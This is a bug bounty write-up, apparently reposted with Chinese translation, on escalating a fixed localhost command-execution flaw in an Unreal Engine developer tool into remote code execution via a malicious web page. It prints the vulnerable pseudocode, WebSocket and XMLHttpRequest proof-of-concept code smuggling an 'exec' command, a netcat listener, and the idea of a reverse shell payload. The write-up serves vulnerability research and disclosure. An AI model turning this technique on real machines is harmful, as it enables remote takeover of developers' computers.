How I made 7K on Epic Games Bug Bounty

How I made 7K on Epic Games Bug Bounty

I n this story I will share my experience on how I made 7K on the Epic Games Bug Bounty Program by escalating a simple vulnerability to a remotely triggerable code execution one. The vulnerability has since been fixed. I’ll start right away with the two most important lessons I learned from this:
在这个故事中,我将分享我的经验,了解我是如何在 Epic Games 漏洞赏金计划中通过将一个简单的漏洞升级为可远程触发的代码执行漏洞来制作 7K 的。该漏洞已得到修复。我将立即从我从中学到的两个最重要的教训开始:

Always Maximize Impact 始终最大化影响

When finding a vulnerability, always find out what the worst thing is an attacker can do with it and show it to the vendor! Oftentimes, the vendor will not realize the impact of the vulnerability because they are not familiar with hacking. This is the major learning I got from this vulnerability.
发现漏洞时,请始终找出攻击者可以用它做的最糟糕的事情,并将其展示给供应商!通常,供应商不会意识到漏洞的影响,因为他们不熟悉黑客攻击。这是我从这个漏洞中得到的主要教训。

Report Quality matters! 报告质量很重要!

When writing a report and I know much bounty is at stake, I always make sure the report is very concise, easy to follow and contains all the information the vendor needs to reproduce the vulnerability. The last
在撰写报告时,我知道很多赏金都处于危险之中,我总是确保报告非常简洁,易于理解,并包含供应商重现漏洞所需的所有信息。最后

thing is crucial, because if the vendor cannot reproduce the vulnerability, they will not pay you. It is important to make the report as easy to follow as possible, because the vendor won’t spend much time on your report. Imagine reading one bad report after the other -you will get tired of it and will not spend much time on it.
事情至关重要,因为如果供应商无法重现漏洞,他们就不会向您付款。使报告尽可能易于遵循非常重要,因为供应商不会在您的报告上花费太多时间。想象一下,一个接一个地阅读糟糕的报告——你会厌倦它,不会花太多时间在上面。

The vulnerability 漏洞

Okay lets get into the meat of this story. You will quickly notice why the two points I just made above are so important. I picked the Epic Games Bug Bounty Program because they do pay well and I like their games. But I did not wanted to target Fortnite or any other big game since I consider that a bit out of my skill league. I mainly wanted to focus on the Unreal Engine.
好的,让我们进入这个故事的实质。你很快就会注意到为什么我刚才提出的两点如此重要。我选择了 Epic Games 漏洞赏金计划,因为他们的薪水确实很高,而且我喜欢他们的游戏。但我不想针对《堡垒之夜》或任何其他大型游戏,因为我认为这有点超出了我的技能范围。我主要想专注于虚幻引擎。

Also I thought, if I find a vulnerability in the Unreal Engine, it will probably affect all games that use it. So I started to look into the engine source code. After working on it for a month without any findings, I transitioned to the developer tools that aid Unreal Engine developers in creating their games. I looked at each developer tool and noticed something interesting: Under certain conditions, one can send a message to the Unreal Engine Editor and the editor will just execute arbitrary code (Yes, I know, this sounds
我还想,如果我在虚幻引擎中发现一个漏洞,它可能会影响所有使用它的游戏。于是我开始研究引擎源代码。在研究了一个月没有任何发现后,我过渡到帮助虚幻引擎开发者创建游戏的开发者工具。我查看了每个开发者工具,并注意到了一些有趣的事情:在某些情况下,可以向虚幻引擎编辑器发送消息,编辑器将执行任意代码(是的,我知道,这听起来

like a dream come true but it was actually true in this specific corner case.). The only problem? The message had to be send from the localhost.
就像梦想成真一样,但实际上在这个特定的极端情况下是真的。唯一的问题是什么?消息必须从本地主机发送。

Meaning an attacker had to be on the same machine as the Unreal Engine Editor. So this is bearly a vulnerability, right? Well, not quite. Lets look at the (pseudo code) of the vulnerable function:
这意味着攻击者必须与虚幻引擎编辑器在同一台机器上。所以这确实是一个漏洞,对吧?嗯,不完全是。让我们看一下易受攻击的函数的(伪代码):


func parse_message(socket client_con){
 byte* buf = b””
 while(true){
 byte* tmp = client_con.read()
 if(tmp == b”<EOF>”){
 break
 }
 buf += tmp
 }
 DEBUG_LOG(‘received message of length: ‘ + buf.length)
}

func handle_message(byte* buf){
 if(buf.length > 1000){
 DEBUG_LOG('message too long')
 return
 }
 … // parsing logic was quite different but this suffices as an example
 method = buf[0:4]
 if(method == b"exec"){
 SYSTEM(buf[4:])
 }
}
func main(){
 socket server_con = listen(localhost, PORT)
 while(true){
 socket client_con = server_con.accept()
 thread.create(() => {
 while(true){
 parse_message(client_con)
 })
}

What would you do now?
你现在会怎么做?

Hold on a second. As a good exercise, I want you to think about what you would do now. What would you do to escalate the severity of this vulnerability? Think about that for a few minutes. Then continue reading. It’ll be a worthwhile exercise for your bug bounty career.
等一下。作为一个很好的练习,我希望你想想你现在会做什么。您会采取什么措施来升级此漏洞的严重性?想一想。然后继续阅读。对于您的漏洞赏金生涯来说,这将是一项值得的练习。

The solution 解决方案

Well, the solution lies in exploiting lax parsing! You can see that the service essentially reads a message from the client socket stream up until
好吧,解决方案在于利用松散的解析!您可以看到,该服务实质上是从客户端套接字流中读取消息,直到

the string EOFis encountered. Then it parses the message and executes it. The parsing logic is quite complex and I will not go into detail here.
遇到字符串 EOF 。然后,它解析消息并执行它。解析逻辑相当复杂,这里就不赘述了。

But the important thing is that after an EOF is read, the service will just call read_message again and again until the socket is closed. This will make it possible
但重要的是,在读取 EOF 后,服务将一次又一次地调用 read_message,直到套接字关闭。这将使之成为可能

to send messages even when the attacker is not operating on localhost.
即使攻击者未在 localhost 上操作,也可以发送消息。

The answer lies in the browser. I like to say that the browser is the computer’s gate to the world. The browser might just be the most used application on your computer. And it can send requests. Do you see where this is going? If we operate a malicious website on the attacker’s machine and we can make the victim visit it, we can force the browser to send a request to the vulnerable service. Easy!
答案就在浏览器中。我想说浏览器是计算机通往世界的大门。浏览器可能只是您计算机上最常用的应用程序。它可以发送请求。你明白这是怎么回事吗?如果我们在攻击者的机器上运行恶意网站,并且可以让受害者访问它,我们可以强制浏览器向易受攻击的服务发送请求。容易!

Not So Fast 没那么快

Alright, the first step now is to find out how to send a request to localhost from the browser. Get your JavaScript skills ready! Lets think about what we need to do: We need to send a request to localhost:PORT with a message that will be parsed by the service. So how can we connect to arbitrary ports from the browser?
好了,现在的第一步是了解如何从浏览器向localhost发送请求。准备好你的 JavaScript 技能!让我们考虑一下我们需要做什么:我们需要向 localhost:PORT 发送一个请求,其中包含一条消息,该消息将由服务解析。那么我们如何从浏览器连接到任意端口呢?

Enter the WebSocket API. Let’s look at the documentation:
输入 WebSocket API。让我们看一下文档:

The WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user’s browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.
WebSocket API 是一种先进的技术,可以在用户的浏览器和服务器之间打开双向交互式通信会话。使用此 API,您可以向服务器发送消息并接收事件驱动的响应,而无需轮询服务器以获取回复。

This sounds like exactly what we need! Lets try this directly. For the following, Wel’ll assume the service running on localhost port 8080. Following the Websockets API documentation, we end up with the following POC:
这听起来正是我们所需要的!让我们直接试试这个。对于以下内容,我们将假定服务在 localhost 端口 8080 上运行。按照 Websockets API 文档,我们最终得到以下 POC:

html
<html>
<script>
var ws = new WebSocket("ws://localhost:8080");
ws.onopen = function() {
 ws.send("execwhoami<EOF>");
};
</script>
</html>

Also, lets not use Unreal Engine but open a simple netcat listener on port 8080 so we can see if the message was received:
另外,我们不要使用虚幻引擎,而是在端口 8080 上打开一个简单的 netcat 侦听器,以便我们查看是否收到了消息:

nc -vlp 8080

Aaaaand fire! After opening the HTML file in the browser, we see that the message was received by netcat. Great! But something is off. Look what we received in netcat:
啊在浏览器中打开 HTML 文件后,我们看到消息被 netcat 接收。伟大!但是有些事情不对劲。看看我们在 netcat 中收到了什么:


Connection from 127.0.0.1:46474
GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: FzPTm4lfESwfJ1f+UdGmAA==
Sec-WebSocket-Extensions: permessage-deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

What!? That’s a HTTP request! Why? Well, the answer lies in the WebSocket API. The WebSocket API is built on top of the HTTP protocol. The browser will first send a HTTP request to the server and then upgrade the connection to a WebSocket connection if and only if the service responds with a valid WebSocket upgrade response. In our case, the service wouldn’t answer at all. That’s also why (after a timeout interval of 5 seconds) the browser emits this console message:
什么!?这是一个 HTTP 请求!为什么?好吧,答案就在 WebSocket API 中。WebSocket API 建立在 HTTP 协议之上。浏览器将首先向服务器发送 HTTP 请求,然后将连接升级为 WebSocket 连接,当且仅当服务使用有效的 WebSocket 升级响应进行响应时。在我们的例子中,该服务根本不会回答。这也是为什么(在 5 秒的超时间隔后)浏览器发出以下控制台消息的原因:

How I made 7K on Epic Games Bug Bounty

This kind of handshake mechanism in WebSockets prevents exactly these kind of attacks.
WebSockets 中的这种握手机制恰恰防止了此类攻击。

Is this the end? 这是结束吗?

We can’t send arbitrary messages to localhost since the service will not initiate a real WebSocket connection. Do we have any other options? Yes! At this point I’ll give you again some time to think about what you would do now.
我们不能向 localhost 发送任意消息,因为该服务不会启动真正的 WebSocket 连接。我们还有其他选择吗?是的!在这一点上,我会再次给你一些时间来思考你现在会做什么。

Content Control and Lax Parsing
内容控制和松散解析

JavaScript can also send HTTP requests from the browser. So can we maybe send an HTTP request to localhost:8080? Lets assume for a moment we can. Could we get the service to parse the message? Recall the code! If you think about it — yes we can! The service will read the message up until the string <EOF> is encountered. So if we send an HTTP request with a body that contains the string <EOF>, the service will parse it, resulting in an invalid message. But the service will not care about that and will just continue to read messages. After the first <EOF>, we can put the real payload, which the server will happily process from the socket stream. A HTTP POST request like this would look as follows:
JavaScript 还可以从浏览器发送 HTTP 请求。那么我们可以向localhost:8080发送HTTP请求吗?让我们假设我们可以。我们能否让服务来解析消息?回想一下代码!如果你仔细想想——是的,我们可以!该服务将读取消息,直到遇到字符串。因此,如果我们发送一个包含字符串的 HTTP 请求,服务将解析它,从而导致无效消息。但该服务不会关心这一点,只会继续阅读消息。在第一个之后,我们可以放置真正的有效负载,服务器将很乐意从套接字流中处理。像这样的HTTP POST请求将如下所示:


POST / HTTP/1.1
Host: localhost:8080
Content-Length: XXX
Connection: keep-alive
(OTHER HEADERS)\r\n\r\n
<EOF>
execwhoami<EOF>\r\n\r\n

Let’s try this out! We can use the following JavaScript code to send the request:
让我们试试这个!我们可以使用以下 JavaScript 代码来发送请求:


var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8080", true);
xhr.send("execwhoami<EOF>\r\n\r\n");
// now read response
xhr.onreadystatechange = () => {
 if (xhr.readyState === 4) {
 console.log(xhr.response);
 }
 };

And the browser console spits out:
浏览器控制台吐出:

How I made 7K on Epic Games Bug Bounty

Damn it! That doesn’t look promising. But let’s check the netcat listener:
该死!这看起来并不乐观。但是,让我们检查一下 netcat 侦听器:


Connection from 127.0.0.1:52592
POST / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 19
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

execwhoami<EOF>

That’s a bingo! So apparently we did send a HTTP request with the body containing our payload to the netcat listener. So why did the browser throw an error in the console?
那是宾果游戏!因此,显然我们确实向 netcat 侦听器发送了一个包含有效负载的 HTTP 请求。那么为什么浏览器会在控制台中抛出错误呢?

A quick note On CORS
关于 CORS 的快速说明

CORRS — or better Cross-Origin Resource Sharing — is a mechanism that allows servers to specify which origins are allowed to access their resources. This is a security mechanism that prevents attackers from accessing resources that are not intended for them. For example, if you are logged into your bank account and visit a malicious website, the website cannot access your bank account information. This is because the bank website will send a CORS header that specifies that only the bank website is allowed to access the bank account information. The browser will then enforce this policy and prevent the malicious website from accessing the bank account information.
CORRS(或更好的跨域资源共享)是一种机制,允许服务器指定允许哪些源访问其资源。这是一种安全机制,可防止攻击者访问不适合他们的资源。例如,如果您登录了您的银行帐户并访问了一个恶意网站,则该网站无法访问您的银行帐户信息。这是因为银行网站将发送一个 CORS 标头,该标头指定仅允许银行网站访问银行帐户信息。然后,浏览器将强制执行此策略并阻止恶意网站访问银行帐户信息。

The important thing to remember is that CORS prevents us from *reading* the response of the request. But it does not prevent us from *sending* the request. This is important to understand. We can still send the request to the service, but we cannot read the response. This is not a problem for us, since we do not care about the response. We only care about the request being sent to the service.
要记住的重要一点是,CORS 会阻止我们*读取*请求的响应。但这并不妨碍我们*发送*请求。理解这一点很重要。我们仍然可以将请求发送到服务,但我们无法读取响应。这对我们来说不是问题,因为我们不关心响应。我们只关心发送到服务的请求。

Putting it all together 把它们放在一起

We can now use a payload that does not require us to read some output directly from the service, such as a reverse shell and boom, we have RCE from the browser! Now any unfortunate developer that visits our malicious website will have a reverse shell opened on their machine!
我们现在可以使用不需要我们直接从服务读取一些输出的有效负载,例如反向 shell 和 boom,我们有来自浏览器的 RCE!现在,任何不幸的开发人员访问我们的恶意网站都会在他们的机器上打开一个反向外壳!

Conclusion 结论

Initially, I did not even want to report this vulnerability because the impact was so low. However, a friend of mine reminded me that I should look for ways to maximize the impact of the vulnerability. I did, reported it and got 7K for it. I think that’s not so bad! So lessons learned: always escalate your vulnerabilities, write good-quality reports and think about realistic attacker models. Cheers!
最初,我什至不想报告此漏洞,因为影响如此之小。然而,我的一个朋友提醒我,我应该寻找方法来最大限度地发挥漏洞的影响。我做到了,报告了它并为此获得了 7K。我认为这还不错!因此,吸取的经验教训是:始终升级漏洞,编写高质量的报告,并考虑现实的攻击者模型。干杯!

If you liked this story, consider following me here on Medium. I just recently started with Medium and plan to write more about my bug bounty experiences. Also, if you have any questions or feedback, feel free to reach out to me. Happy hacking!!1
如果你喜欢这个故事,可以考虑在Medium上关注我。我最近才开始使用 Medium,并计划写更多关于我的漏洞赏金体验的文章。另外,如果您有任何问题或反馈,请随时与我联系。祝您黑客愉快!!1

原文始发于SynapticSpace:How I made 7K on Epic Games Bug Bounty

版权声明:admin 发表于 2024年1月4日 上午8:42。
转载请注明:How I made 7K on Epic Games Bug Bounty | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...